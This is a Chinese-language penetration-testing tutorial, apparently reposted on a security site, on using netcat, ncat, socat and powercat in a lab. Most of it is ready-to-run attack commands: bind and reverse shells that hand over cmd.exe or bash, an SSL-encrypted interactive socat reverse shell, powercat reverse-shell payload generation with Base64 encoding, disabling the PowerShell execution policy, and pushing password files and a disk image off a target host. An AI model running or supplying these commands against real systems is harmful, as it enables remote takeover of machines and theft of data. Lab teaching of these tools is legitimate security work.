![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
原创投稿作者:Nicolus
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
渗透测试过程中会用到一些系统shell工具,有几只长得很像,分别是netcat(nc), nmap-cat(ncat), socat, powercat. 都是跟“猫”相关的,这几只“猫”上得了庭堂,下得了厨房,不对,是上可卖萌,下可贩贱,最近汇总了下这几只“猫”的用法,分享如下。
字nc,号瑞士军刀,简洁而不简单,擅长以最简单的招式破解最牢固的系统。这只“猫”最常见,大家都很熟悉了。执行nc -h 可以查看帮助信息。
作为客户端连接一个主机:nc -nv 192.168.56.101 8888。
作为服务端提供一个连接:nc -nvlp 8888。
nc -nv 192.168.56.101 8888
< /usr/share/windows-resources/powercat/powercat.ps1
(apt-get install powercat,之所以传这个,因为后面要用到)
nc -nvlp 8888 > d:powercat.ps1
nc -nv -z -w 1 192.168.56.101 3388-3390 。(看上面的帮助信息,-z是用于扫描的,-w用于设置超时时间)
默认是TCP扫描,在上述命令上增加一个-u 参数即可使用UDP扫描:
nc -nv -z -w 1 -u 192.168.56.101 53 161 162
bind shell: 正向连接(攻击机去主动连接)
目标机执行 nc -nvlp 192.168.56.101 4444 -e cmd.exe
攻击机执行 nc -nv 192.168.56.101 4444 得到一个cmd.
reverse shell: 反向连接(攻击机等着被连接)
目标机执行:nc -nv 192.168.56.102 4444 -e cmd.exe
KALI版本的nc比win7版本的多一个-c,可以直接发命令,而不是像-e一样是一个shell文件,win7版本的多一个-L,可以一直监听,而-l会在连接中断后不再监听。(KALI版本是有一个-k选项的,但是并没有起作用,这个参数在下一部分中的ncat中被优化)。
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
【TIPS:这时KALI变为向win7传送数据了,攻防目标转换,在目标机为Linux时可使用】
nc还可以发掘很多其他功能,在LINUX之间可以利用tar传输目录、传输视频流、甚至克隆设备等,有需要的可以找找网上的资料或参考下面的nmap-cat。
字ncat,号“21世纪的netcat”,这是nmap项目对原始的netcat(nc)进行的优化改进,但是并不共享源代码,增加了一些新功能,调整了一些参数。
https://nmap.org/ncat/guide/index.html
安装:apt-get install ncat (Windows版本的直接带了,在nmap的安装目录下)
【装完发现“20世纪的nc”执行程序被替换成了“21世纪的ncat”,如果想再使用老版本的nc,可以执行/bin/nc.traditional,但是后面我们仍然执行ncat,以区分nc】
ncat可以实现上述nc的所有功能,相同部分的用法完全相同,这里再拓展一下用法(有nc也支持的,也有新的,通过ncat -h查看)。
客户端用浏览器访问这个文件即可(每客户端可访问一次,因为本质上还是监听端口与连接端口)。
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
ncat.exe -l > powercat.ps1
【TIPS】 -l 监听模式如果不跟端口号,则默认使用31337
发送方KALI:ncat --send-only 192.168.56.101 < powercat.ps1
有两个参数--send-only和--receive-only,就是不管对方是否接收和发送了数据,我只发送和接收,不管对方是否接收或发送成功。
ncat -l --send-only < powercat.ps1
ncat 192.168.56.102 > powercat.ps1
【TIPS】不管你让谁连谁,都得是监听方先启动。一般反弹形式的比较常见,因为一般安全设备会对入向流量拦截,但是出向流量不太好拦截。
接收方ubuntu: ncat -l | tar xzv
tar czv| ncat --send-only 192.168.56.103
发送一个磁盘镜像(前提是处于卸载或只读挂载模式):
ncat -l | bzip2 -d > KALI-hda.image
cat /dev/hda | bzip2 | ncat --send-only 192.168.56.103
如果win7只能访问ubuntu,但是不能访问KALI,而ubuntu可以访问两个,该怎样让KALI给win7传输文件呢?
win7: ncat.exe ubuntu > powercat.ps1
ncat --send-only ubuntu < powercat.ps1
【TIPS】broker服务器不缓存两个机器的之间的流量。broker也不会手动断开连接(对比于两个机器直传时,是传输结束两边的连接就直接拆除了),传输结束后需要win7手动断开链接。
很简单,在连接或传输文件时加上--ssl参数即可,以传输文件的命令为例:
ncat.exe -l --ssl > powercat.ps1
ncat --send-only 192.168.56.101 --ssl < powercat.ps1
【TIPS】默认是用一个1024位的RSA 密钥自动生成证书。
socat,意思是之前的cat,just so so(开玩笑),但是看人家的描述是带两个加号滴!
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz
tar zxvf socat-1.7.3.4.tar.gz
make && sudo make install
Server端:socat TCP4-LISTEN:8888 -
客户端:socat - TCP4:<server’s IP>:8888
这次传递seclists中的一个密码文件到目标机ubuntu上。
remnux@remnux:~/socat-1.7.3.4$sudo socat TCP4-LISTEN:8888 - >> 1.txt
TCP4:192.168.56.103:8888 file:darkweb2017-top100.txt
TCP4-LISTEN:8888,fork file:darkweb2017-top100.txt
TCP4:192.168.56.102:8888 file:received_password.txt,create
参数解释:服务端的fork,是创建一个子进程,允许多个连接,跟nc中的-k类似;接收方的file后跟个create表示如果没有则创建。
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
(命令比nc和ncat复杂多了吧?但其实也有规律,如果是客户端就是TCP4:IP:PORT file:xxx 如果是server端就是TCP4-LISTEN:PORT file:xxxx)
socat TCP4-LISTEN:8888 EXEC:/bin/bash
socat TCP4:192.168.56.103:8888 -
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
KALI监听:socat -dd TCP4-LISTEN:8888 -
【TIPS】由socat -h 得知-d是查看verbosity信息的意思,可以使用1到4个d,越多越详细,建议是使用两个。
TCP4:192.168.56.102:8888 EXEC:/bin/bash
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
上述shell都是非交互式的,以下命令可以帮助在KALI上生成一个交互式的shell.
TCP4-LISTEN:8888 file:`tty`,raw,echo=0
EXEC:'bash -i',pty,stderr,setsid,sigint,sane
openssl req -newkey rsa:2048 -nodes -keyout test.key -x509 -days 100 -out test.crt
合并为一个pem文件:cat test.key test.crt > test.pem
OPENSSL-LISTEN:8888,cert=test.pem,verify=0,fork file:`tty`,raw,echo=0
OPENSSL:192.168.56.102:8888,verify=0 EXEC:'bash -i',pty,stderr,setsid,sigint,sane
KALI监听:socat TCP-LISTEN:8888,fork -
TCP-LISTEN:8888,fork TCP:192.168.56.102:8888
ncat.exe -nv 192.168.56.103 8888 -e cmd.exe
powercat即powershell cat,故名思义,是运行在powershell环境上的,我们测试环境以管理员身份运行Powershell。
在测试win7的powershell上执行Set-ExecutionPolicy Unrestricted 选择Y设置为不限制执行。前面已经通过nc和ncat将该文件传输过去了,也可以通过
https://github.com/besimorhino/powercat下载。后进入powercat的下载目录执行Import-Module powercat.ps1,这样后面可以直接使用powercat这个命令。
执行powercat -h,有两个必选参数,-c是做为客户端,-l 是监听作为服务端。按上面的主要功能再测试下:
powercat -l -p 8888 -e cmd.exe
KALI执行:ncat -nv 192.168.56.101 8888
Win7执行:powercat -c 192.168.56.102 -p 8888 -e cmd.exe
【是不是已经驾轻就熟了,因为几乎跟上面参数一样啊,就是换换命令】
ncat -nvlp 8888 > win7password.txt
powercat -c 192.168.56.102 -p 8888 -i C:win7password.txt
Win7执行:powercat -l -p 8888 -of C:bt.txt
KALI执行:ncat -nv 192.168.56.101 8888 < bt4-password.txt
powercat -l -p 8888 -r tcp:192.168.56.102:9999
powercat -l 8888 -ep -rep
-rep:保持连接,客户端断开的时候链接保持,可以下一次继续连接。
【TIPS】这里有个小坑,KALI连接上这个伪终端后,退出时直接ctrl+C退出,不要执行exit,如果执行exit的话会连WIN7的powershell一起退出,连接无法保持。
-g,生成一个payload,-ge 生成一个Base64编码的payload
生成本地payload,powercat -c 192.168.56.102 8888 -e cmd.exe -g > reverse.ps1
这时KALI获取到反弹shell. 这个reverse.ps1大概有17KB大小,可以用记事本打开修改其内容调整连接参数。
再用-ge试下powercat -c 192.168.56.102 8888 -e cmd.exe -ge > reverse.ps1
这时会生成一个约46KB的Base64编码的payload.当然无法直接执行这个ps1.
看powercat -h中的ge参数解释,如果要执行,需要用命令powershell -E 跟上编码过的代码,但是你会发现这个代码量太大了,直接在powershell里根本粘贴不全,可以在ISE中粘贴执行。
几只“猫”的主要功能介绍完了,说下老王的想法,最好用的是ncat,功能多而且相对于socat命令语法简单一些,但是socat的某些功能是ncat不能代替的,如交互式终端。powercat也很好用,但前提需要你先把文件下载过去。
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
「华盟学园」 知识星球现已开启! 一个学习网络安全知识和分享工具的星球,网络安全大佬在线分享技术文章,大家一起学习、共同进步!
如果你对我们星球内的分享的知识和工具感兴趣,可以随时加入我们的星球,安全大佬在里面等着你。
现在加入知识星球只需要:365/年(1天1元,星球内所有内容免费学习获取)。
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
![渗透测试中几只“猫”的用法 渗透测试中几只“猫”的用法]()
本文始发于微信公众号(黑白之道):渗透测试中几只“猫”的用法
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/170526.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论